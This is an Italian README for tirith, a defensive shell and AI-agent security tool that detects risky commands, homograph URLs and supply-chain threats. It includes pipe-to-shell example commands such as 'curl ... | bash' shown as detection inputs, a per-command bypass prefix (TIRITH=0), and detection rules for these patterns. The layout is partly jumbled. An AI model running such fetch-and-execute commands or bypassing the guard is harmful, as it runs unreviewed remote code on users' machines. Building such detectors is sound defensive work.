tirith verify-self # is this binary the genuine, unmodified release?
tirith update # update to the latest release
tirith version --provenance # version, build info, install method, verification
tirith verify-self conferma che il binario in esecuzione è il binario genuino e non modificato di una release ufficiale. Riscarica l'archivio della release per la tua versione e piattaforma, lo verifica rispetto al checksums.txt firmato della release, verifica la firma cosign su checksums.txt quando cosign è installato, e conferma che il binario in esecuzione è identico byte per byte a quello ufficiale. Se la verifica completa non è possibile (build di sviluppo locale, nessuna rete, installazione non identificabile da tirith), lo comunica onestamente invece di riportare un falso "verificato". Senza cosign, il checksum viene comunque verificato (riportato come verified-checksum-only); installa cosign per la verifica completa della firma (verified-signed).
tirith update riconosce la presenza del package manager:
brew upgrade tirith. L'aggiornamento tramite il package manager mantiene coerente il suo database.install.sh o un binario autonomo) vengono aggiornate in loco: tirith scarica l'ultima release, la verifica, poi sostituisce atomicamente il binario, conservando il precedente come file affiancato tirith.tirith-previous. La firma cosign viene verificata per impostazione predefinita: se non può essere verificata (cosign mancante o la release non ha pubblicato firme), l'aggiornamento viene interrotto. Usa --allow-unsigned per ripiegare alla sola verifica del checksum; un mismatch del checksum interrompe sempre, indipendentemente da questa opzione. tirith update --rollback ripristina il binario precedente; --dry-run mostra cosa accadrebbe senza modificare nulla.[!NOTE] Gli script di installazione (
scripts/install.sheinstall.ps1su Windows) verificano anch'essi la firma cosign della release per impostazione predefinita e si interrompono secosignè assente o la firma non può essere verificata. Installa primacosignoppure impostaTIRITH_ALLOW_UNSIGNED=1per installare con la sola verifica del checksum (sconsigliato). Un mismatch del checksum o della firma interrompe sempre, indipendentemente da questa opzione.
Oh-My-Zsh:```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith
plugins=(... tirith)
### Integrazioni con agenti AI
Usa `tirith setup <tool>` per una configurazione con un unico comando:```bash
tirith setup claude-code --with-mcp # Claude Code + MCP server
tirith setup codex # OpenAI Codex
tirith setup copilot-cli # GitHub Copilot CLI (run from repo root)
tirith setup cursor # Cursor
tirith setup gemini-cli --with-mcp # Gemini CLI + MCP server
tirith setup kiro # Kiro CLI (formerly Amazon Q)
tirith setup pi-cli # Pi CLI
tirith setup vscode # VS Code
tirith setup windsurf # Windsurf
Per la configurazione manuale, consulta mcp/clients/ per guide specifiche per strumento.
GitHub Action con caricamento SARIF nella scheda GitHub Security:```yaml
Disponibile anche come **pre-commit hook**: vedi `.pre-commit-hooks.yaml` in questo repository.
Scan supporta i filtri `--include`, `--exclude`, `--profile` (carica profili nominati dalla policy) e `--ignore` per scansioni CI mirate.
### Documentazione delle Regole```bash
tirith explain --rule pipe_to_interpreter # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal # all rules in a category
Ogni risultato include una correzione per regola: una breve e accurata riga su "come rendere questo sicuro", mostrata sotto ogni risultato (Fix:) e in --format json.
tirith explain --rule <id> --fix stampa quella correzione da sola.
Quando un comando viene bloccato o segnalato come avvertimento, tirith check --suggest
stampa inoltre una riscrittura concreta e più sicura del comando effettivo, ma solo
dove una trasformazione è genuinamente più sicura e corretta:```bash
tirith check --suggest -- 'curl https://example-cli.dev/i.sh | bash'
Riscrive pipe-to-shell in download-review-run, elimina i flag TLS non sicuri
(`-k` / `--insecure` / `--no-check-certificate`) e cambia il semplice `http://`
in `https://`. Per le scoperte senza una sicura riscrittura meccanica (nomi di
dominio omografi, destinazioni di estrazione di archivi, …) lo dice chiaramente
e mostra invece la riparazione, non emette mai un suggerimento fasullo. Il flag
è consultivo: non cambia né il verdetto né il codice di uscita.
### Modalità Daemon (Unix)
Processo in background opzionale per latenza sub-millisecondo e arricchimento
consapevole della rete (risoluzione di URL abbreviati, controlli di blocco DNS):```bash
tirith daemon start # tirith check auto-delegates when running
tirith daemon stop
[!NOTE] La modalità demone è disponibile solo su Unix oggi.
I comandi quotidiani:
Questo è il set per l'uso quotidiano. tirith offre 74 comandi in totale, in 8 gruppi: scansione e analisi, stato e salute, configurazione, policy e fiducia, guardie di shell e sistema (igiene, persistenza, esecuzione, percorso, contesto, ssh, sudo, iac), supply chain, integrazioni con agenti AI, e forensics e risposta. Esegui tirith --help per l'elenco categorizzato, o consulta il riferimento completo dei comandi. Il flag globale --quiet (o TIRITH_QUIET=1) silenzia l'output informativo senza nascondere errori, verdetti o notifiche di sicurezza.
paste, score, diff e why non effettuano chiamate di rete. tirith check (incluso il percorso --approval-check utilizzato dagli hook della shell) analizza anch'esso localmente, ma prima attiva un aggiornamento periodico in background del database delle minacce (vedi sotto), quindi non è strettamente offline. tirith check --offline (o TIRITH_OFFLINE=1) sopprime l'aggiornamento e lo mantiene completamente locale.tirith check e gli hook della shell attivano un controllo in background economico e distaccato al massimo una volta ogni 24 ore per impostazione predefinita (threat_intel.auto_update_hours), per mantenere aggiornato il database firmato. Non blocca mai il comando. Imposta auto_update_hours: 0 per disabilitarlo o --offline / per sopprimerlo per invocazione. lo attiva; passa direttamente attraverso il motore locale.tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy
`tirith policy init` accetta `--template <name>` per una policy iniziale curata:```bash
tirith policy init --template individual # solo developer defaults (alias: personal)
tirith policy init --template ci-strict # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer # reviewing contributor-controllable risk
tirith policy init --template startup # small-team balance
tirith policy init --template enterprise # strict, with an active package_policy block
tirith policy init --template mcp-strict # locked-down MCP server and tool trust
Ogni template è un policy ben commentato e con schema valido che puoi modificare ulteriormente.
Senza --template, tirith policy init scrive il policy completo predefinito.
Tirith utilizza un file di policy YAML. Ordine di ricerca:
.tirith/policy.yaml nella directory corrente (risale fino alla radice del repository)allowlist:
blocklist:
severity_overrides: docker_untrusted_registry: CRITICAL
scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high
Usa `allowlist_rules` per le soppressioni limitate a una regola quando ti fidi di una fonte per una regola ma non vuoi aggiungerla globalmente all'allowlist:```yaml
allowlist_rules:
- rule_id: curl_pipe_shell
patterns:
- "get.docker.com"
tirith trust gestisce pattern fidati senza modificare manualmente il YAML delle policy. La fiducia è per impostazione predefinita ristretta e con scadenza: fidati della cosa più specifica che funziona, e le voci scadono dopo 30 giorni a meno che non si scelga di escluderle.```bash
tirith trust add raw.githubusercontent.com/org/repo/main/get.sh
tirith trust add get.docker.com --broad --rule curl_pipe_shell
tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"
tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries
Ogni **ambito** di una voce è classificato come `exact`, `substring`, `domain`,
`wildcard` o `bare-TLD`. Un ambito ampio (`domain` / `wildcard` / `bare-TLD`)
richiede `--broad`, quindi una concessione estesa è sempre una scelta deliberata. Tutti
i sottocomandi supportano `--format json`. I trust store scritti da versioni precedenti di
tirith continuano a funzionare senza modifiche: una voce senza TTL è considerata permanente.
### Escalation e override delle azioni
Gli avvisi vengono tracciati per sessione. Se la stessa regola si attiva ripetutamente, le regole di escalation possono passare a un blocco:```yaml
action_overrides:
shortened_url: block # always block, regardless of default severity
escalation:
- trigger: repeat_count
rule_ids: ["*"] # any rule
threshold: 5
window_minutes: 60
action: block
- trigger: multi_medium
min_findings: 3 # 3+ medium findings on one command → block
action: block
Rivedi gli avvisi accumulati in qualsiasi momento:```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing
All'uscita dalla shell, viene stampato un riepilogo di una riga se sono stati registrati avvisi durante la sessione.
Altri esempi in [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md).
### Regole di rilevamento personalizzate
Scrivi le tue regole in `.tirith/policy.yaml` sotto `custom_rules:`. Ogni regola è un `pattern:` (regex) o un albero di predicati semantici `when:`, più un `context:` (`exec`, `paste` o `file`), un `severity:` e un `title:`.```yaml
custom_rules:
- id: no_internal_pastebin
context: exec
severity: high
title: "Internal pastebin is not allowed for piped execution"
when:
all:
- command.has_pipeline_to: [bash, sh]
- url.host_matches: "paste\\.corp\\.example$"
Il DSL when: combina all: / any: / not: su predicati come command.has_pipeline_to, command.uses_sudo, url.host, url.host_matches, url.reputation, url.domain_not_in, package.ecosystem, package.name_matches, package.reputation, e file.path_matches. I predicati di reputazione leggono il database di minacce locale firmato, quindi una regola personalizzata non effettua comunque alcuna chiamata di rete sul percorso critico. Convalida e prova a secco prima di eseguire il commit:```bash
tirith rule validate # check every custom rule: shape + context coverage
tirith rule test --rule no_internal_pastebin --input "echo hi | bash"
tirith rule explain --rule no_internal_pastebin
### Altri controlli delle policy
Altre chiavi di policy, tutte con impostazioni predefinite sicure (`tirith policy init` scrive il set completamente commentato):
- `package_policy:` le soglie trasformano i segnali della supply chain in verdetti di blocco o avviso (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` corrispondono all'origine del chiamante di un comando (`{ kind, name }`); una corrispondenza `deny` forza un blocco. `scan.trusted_mcp_servers` e `scan.mcp_allowed_tools` accettano server MCP specifici e strumenti per server.
- Guardie opt-in, disattivate per impostazione predefinita: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, più `iac_require_plan_before_apply`, `sudo_require_reason` e `allowed_install_domains`.
I file `.tirith/policy.yaml` con ambito repository possono solo restringere, mai allentare: una policy del repository che tenta di ampliare una lista consentita, ridurre la gravità o disabilitare una guardia viene neutralizzata, e `tirith policy effective` mostra quali campi sono stati rimossi. Solo le policy a livello utente e organizzativo (`TIRITH_POLICY_ROOT`) possono rilassare un'impostazione predefinita.
### Modalità avviso rigoroso
Con `strict_warn: true` (o `--strict-warn` sulla CLI), i risultati a rischio medio richiedono una conferma esplicita nei terminali interattivi invece di un avviso silenzioso:```
$ curl -sSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]
Gli hook shell utilizzano il codice di uscita 3 per il protocollo warn-ack. Gli hook obsoleti che non conoscono il codice di uscita 3 cadono nel comportamento di fallimento aperto (fail-open).
[!NOTE] Il codice di uscita 3 è il percorso del protocollo warn-ack dell'hook, non il normale contratto diretto CLI. I chiamanti non hook normalmente non dovrebbero vedere il codice di uscita 3; se lo vedono, indica che è richiesta un'acknowledgement.
Per il caso raro in cui sai esattamente cosa stai facendo:```bash TIRITH=0 curl -L https://something.xyz | bash
Questo è un prefisso shell standard per comando; la variabile esiste solo per quel singolo comando e non persiste nella sessione. Le organizzazioni possono disabilitarlo completamente con `allow_bypass_env: false` nella policy.
> [!CAUTION]
> `TIRITH=0` è per comando. Non esportarlo nei profili shell, dotfile o configurazioni CI; un bypass permanente vanifica l'intero modello di protezione. Se ti trovi a usarlo spesso, aggiungi invece la fonte attendibile a `allowlist` nel tuo file di policy.
---
## Gestione dei dati
Registro di audit locale JSONL in `~/.local/share/tirith/log.jsonl`:
- Timestamp, ID sessione, azione, ID regole, anteprima comando oscurata
- Dati di rilevamento grezzi (`raw_action`, `raw_rule_ids`) conservati insieme all'azione applicata per copertura di auditing
- Stato di avviso sessione in `~/.local/state/tirith/sessions/`
- **Nessun** comando completo, variabili d'ambiente o contenuti di file
Disabilita: `export TIRITH_LOG=0`
---
## Documentazione
- [Riferimento comandi](https://github.com/sheeki03/tirith/blob/HEAD/docs/commands.md): ogni sottocomando, raggruppato per categoria
- [Modello di minaccia](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md), ciò che tirith difende e ciò che non difende
- [Cookbook](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md), esempi di policy per configurazioni comuni
- [Risoluzione dei problemi](https://github.com/sheeki03/tirith/blob/HEAD/docs/troubleshooting.md), peculiarità shell, latenza, falsi positivi
- [Compatibilità](https://github.com/sheeki03/tirith/blob/HEAD/docs/compatibility.md), superficie stabile vs sperimentale
- [Politica di sicurezza](https://github.com/sheeki03/tirith/blob/HEAD/SECURITY.md), segnalazione vulnerabilità
- [Disinstallazione](https://github.com/sheeki03/tirith/blob/HEAD/docs/uninstall.md), rimozione pulita per shell e gestore pacchetti
Guide alle funzionalità:
- [Governance agent](https://github.com/sheeki03/tirith/blob/HEAD/docs/agent-governance-design.md) (attribuzione dell'origine chiamante e `agent_rules`)
- [Filtro output MCP](https://github.com/sheeki03/tirith/blob/HEAD/docs/mcp-output-filter.md) (il gateway e il contratto di sanificazione output MCP)
- [Modalità doctor](https://github.com/sheeki03/tirith/blob/HEAD/docs/doctor-modes.md) (completa vs `--quick`, e lo schema snapshot JSON)
- [Profili LSP ed editor](https://github.com/sheeki03/tirith/blob/HEAD/docs/lsp-profiles.md) (diagnostica inline dell'editor)
- [Messaggistica nativa browser](https://github.com/sheeki03/tirith/blob/HEAD/docs/browser-native-messaging.md) (host ed estensione provenienza clipboard)
- [Provenienza incolla](https://github.com/sheeki03/tirith/blob/HEAD/docs/paste-provenance.md) (la regola `paste_source_mismatch`)
- [Formati canary](https://github.com/sheeki03/tirith/blob/HEAD/docs/canary-formats.md) (formati honeytoken sintetici)
- [Integrazione prompt](https://github.com/sheeki03/tirith/blob/HEAD/docs/prompt-integration.md) (collegamento di `tirith prompt-status` al prompt della shell)
## Licenza
**La copertura di sicurezza core è fornita nell'albero open-source.** Tutte le 221 regole di rilevamento e il server MCP sono disponibili dal sorgente. Il repository contiene ancora percorsi di codice legacy relativi a licenze e policy-server, quindi evita di assumere che ogni percorso runtime sia già senza tier.
tirith è con doppia licenza:
- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-AGPL), gratuito secondo i termini copyleft
- **Commerciale**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-COMMERCIAL), se gli obblighi copyleft AGPL non funzionano per il tuo caso d'uso, contatta [email protected] per licenze alternative
Attribuzioni dati di terze parti in [NOTICE](https://github.com/sheeki03/tirith/blob/HEAD/NOTICE).
## Star History
[](https://star-history.com/#sheeki03/tirith&Date)
| Incidente | Anno | Forma dell'attacco |
|---|
| Verme npm Shai-Hulud | 2025 | Malware di pacchetti auto-propagante; ha esfiltrato token GitHub e chiavi AWS da oltre 180 pacchetti, pubblicando i risultati su repository pubblici Shai-Hulud |
| Slopsquatting | 2023 in corso | Gli attaccanti registrano nomi di pacchetti allucinati dagli LLM su npm / PyPI / crates.io; USENIX 2025 ha scoperto che il 58% dei nomi allucinati si ripete tra le esecuzioni |
| Strumentazione Team PCP / UNC1069 | in corso | Spazzate di credenziali post-compromissione, scraping di /proc/*/mem, escalation dei privilegi Docker |
| Sabotaggio di colors.js / faker.js | 2022 | Auto-sabotaggio dell'autore di pacchetti ampiamente utilizzati |
| Compromissione event-stream | 2018 | Proprietà trasferita all'attaccante; payload mirato a portafogli Bitcoin |
| Strumento | Cosa fa |
|---|
tirith_check_command | Analizza i comandi shell per pipe-to-shell, URL omografi, injection di env |
tirith_check_url | Valuta gli URL per attacchi omografi, trucchi punycode, URL accorciati, IP grezzi |
tirith_check_paste | Controlla il contenuto incollato per escape ANSI, controlli bidi, caratteri a larghezza zero |
tirith_scan_file | Scansiona un file per contenuti nascosti, Unicode invisibile, avvelenamento configurazioni |
tirith_scan_directory | Scansione ricorsiva con priorità dei file di configurazione AI |
tirith_verify_mcp_config | Convalida le configurazioni MCP per server non sicuri, injection di shell negli argomenti, strumenti wildcard |
tirith_fetch_cloaking | Rileva il cloaking lato server (contenuti diversi per bot vs browser) |
tirith mcp-servermcp_settings.json.github/copilot-instructions.md, .github/agents/*.mdmoduleChart.yaml), una dipendenza del chart da un repository di chart non affidabilepackage.json: uno script del ciclo di vita preinstall/install/postinstall che esegue un comando pericoloso (pipe-to-shell, payload offuscato, download-and-run); questi hook vengono eseguiti automaticamente su npm install| Shell |
|---|
| Tipo di hook |
|---|
| Testato su |
|---|
| zsh | preexec + paste widget | 5.8+ |
| bash | preexec (due modalità) | 5.0+ |
| fish | event fish_preexec | 3.5+ |
| PowerShell | gestore PSReadLine | 7.0+ |
| Shell | Comportamento |
|---|
| bash modalità enter | Blocco affidabile. Associa il tasto Invio; può fermare un comando prima che bash si impegni ad eseguirlo. Utilizzato per impostazione predefinita solo dove un autotest delle capacità (tirith doctor --simulate-enter) ha dimostrato che la consegna di bind -x funziona per la bash in esecuzione. |
bash preexec + TIRITH_BASH_PREEXEC_ENFORCE=1 | Blocco condizionale. Utilizza shopt -s extdebug; blocca quando la history di bash può fornire una visione affidabile dell'intera riga. Retrocede a solo avviso quando la cronologia è filtrata (HISTCONTROL=ignorespace/ignoredups/ignoreboth, qualsiasi HISTIGNORE, o set +o history) o un alias / sostituzione di comando / eval fa deviare la riga digitata da BASH_COMMAND. |
| bash preexec (senza flag di enforce) | Solo avviso. Stampa un banner DETECTED sui comandi rischiosi; non blocca. Il fallback quando l'autotest della modalità enter non ha dimostrato che la consegna funzioni. |
| zsh, fish, powershell | Blocco affidabile tramite hook preexec nativi. |
| nushell | Solo avviso (attualmente non supporta l'intercettazione dei comandi). |
| Comando | Cosa fa |
|---|
tirith check -- <cmd> | Analizza un comando senza eseguirlo (--suggest aggiunge una riscrittura più sicura) |
tirith paste | Controlla il contenuto incollato (chiamato automaticamente dagli hook della shell) |
tirith scan [path] | Scansiona file, directory e configurazioni (--profile, --format sarif, --ci) |
tirith run <url> | Sostituto sicuro di curl | bash: scarica, analizza, rivedi, poi esegui (Unix) |
tirith fix -- <cmd> | Riscrive interattivamente un comando rischioso in una forma più sicura |
tirith score <url> / diff <url> | Analizza i segnali di fiducia di un URL o mostra dove si nascondono caratteri sospetti |
tirith explain --rule <id> / why | Documentazione e rimedio delle regole, o spiega l'ultimo trigger |
tirith status / doctor | Sei protetto? Diagnostica installazione, hook e policy (--fix, --quick) |
tirith setup <tool> / init | Configurazione di uno strumento AI con un comando, o stampa l'hook della shell |
tirith policy {init,validate,test} | Crea impalcatura, convalida e prova la tua policy |
tirith trust {add,list,remove} | Gestisci pattern fidati (ambito ristretto, TTL di 30 giorni predefinito) |
tirith threat-db update | Scarica e verifica il database delle minacce firmato |
tirith package risk <eco> <name> | Valuta il rischio della supply chain di un pacchetto |
tirith ecosystem scan [path] | Valuta ogni dipendenza dichiarata in un progetto |
tirith mcp {lock,verify} | Blocca e controlla i server MCP di un repository |
tirith daemon start | Demone in background per controlli più veloci (Unix) |
TIRITH_OFFLINE=1tirith pastetirith daemon start è l'unico processo residente, ed è facoltativo.run, fetch e audit report --upload raggiungono la rete solo su invocazione esplicita; l'aggiornamento del database delle minacce segue la pianificazione sopra. La modalità demone aggiunge la risoluzione URL consapevole della rete, e integrazioni opzionali di webhook / policy-server possono effettuare richieste in uscita quando configurate. Il rilevamento principale non chiama mai casa.tirith run, fetch --save e command-card fetch rifiutano di default host privati, di loopback e di metadati cloud, e una protezione SSRF ricontrolla ogni hop di reindirizzamento. Imposta TIRITH_ALLOW_PRIVATE_FETCH=1 per consentirli.